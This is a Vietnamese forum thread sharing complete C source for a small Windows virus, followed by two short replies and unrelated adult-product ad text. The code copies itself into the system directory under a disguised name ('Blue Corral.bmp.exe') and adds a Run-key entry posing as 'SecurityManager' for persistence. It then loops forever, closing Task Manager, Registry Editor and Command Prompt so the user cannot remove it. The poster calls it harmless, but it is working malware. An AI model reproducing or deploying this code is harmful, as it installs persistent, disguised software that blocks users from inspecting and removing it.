-
22-12-2008, 03:04 PM #1Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
Mã nguồn virus viết bằng C(củ chuối)
hihi,con này nhìn cũng đơn giản nhưng hơi chuối nải,anh em thử thửong thức xem nhé( ko có gì nguy hiểm đâu [IMG]images/smilies/biggrin.png[/IMG],chỉ hơi buồn cười thoai
Mã:#include "windows.h" int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ HKEY hKey; char sd[255]; char path[MAX_PATH]; int Freq = 0; int Duration = 100; bool Forwards = true; bool Backwards = false; int timer = 0; HWND hWin; HMODULE GetModH = GetModuleHandle(0); GetModuleFileName(GetModH, path, 256); GetSystemDirectory(sd,255); strcat(sd,"\\Blue Corral.bmp.exe"); CopyFile(path,sd,FALSE); unsigned char PathToFile[20] = "Blue Corral.bmp.exe"; RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey ); RegSetValueEx(hKey, "SecurityManager",0,REG_SZ,PathToFile,sizeof(PathToFile)); RegCloseKey(hKey); while(1==1) { hWin = FindWindow(NULL,"Windows Task Manager"); SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0); hWin = FindWindow(NULL,"Registry Editor"); SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0); hWin = FindWindow(NULL,"Command Prompt"); SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0); hWin = FindWindow(NULL,"Close Program"); SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0); if(Backwards==true) { Beep(Freq,Duration); Freq = Freq - 100; timer = timer - 1; } if (timer == 0) { Backwards = false; Forwards = true; } if (timer == 30) { Backwards = true; Forwards = false; } if(Forwards==true) { Beep(Freq,Duration); Freq = Freq + 100; timer = timer + 1; } } return 0;}
View more random threads:
- Cơ chế phát hiện mã độc của AV là gì ?
- Virus conficker Rootkit, cơ chế của nó như thế nào?
- Ẩn Process trên Taskmanager trong lập trình VC++
- cơ chế tự tổng hợp và phân rã của virus image.exe
- Cách chống Kill Process như thế nào?
- lập trình Virus bằng AutoIT. Ai biết không
- Debug xem task manager tắt file bằng hàm api nào
- virus inject DLL nghĩa là gì? Tại sao chỉ cần kill Explorer là có thể unhook được???
- file autorun.inf trên usb không thể xóa trừ khi format cả ổ?
- Bắt đầu lập trình Virus và AntiVirus, kiến thức cơ bản cần gì?
-
07-06-2013, 12:05 PM #2Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
Các mã này mấy pro lấy ở đâu ra vậy,mấy cái Char,Int,#include này nọ thì biết,còn mấy cái sau nó thì chưa nhìn thấy bao giờ,em tự học nên không biết các mã đó từ đâu ra,em chỉ mới biết lập trình console chạy trên dos hoặc teminal đen thui thôi.Các pro khai thông giùm với
-
13-06-2013, 05:48 PM #3Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
Con này tuy chẳng gây hại gì nhưng đảm bảo sẽ bị block ngay bởi các AV. Ngày trước viết một cái tương tự thế này avast thịt luôn chưa cần chạy
Gửi bởi tiken36
Trứng rung điều khiển từ xa Vibrator Spark Of Love Sản phẩm trứng rung bluetooth có điều khiển từ xa này được thiết kế với tông màu Rose Gold viền kim khí trải qua. kích tấc 7,4cm x 3,5cm giúp trứng...
TOP 3 trùy rung điều khiển từ xa...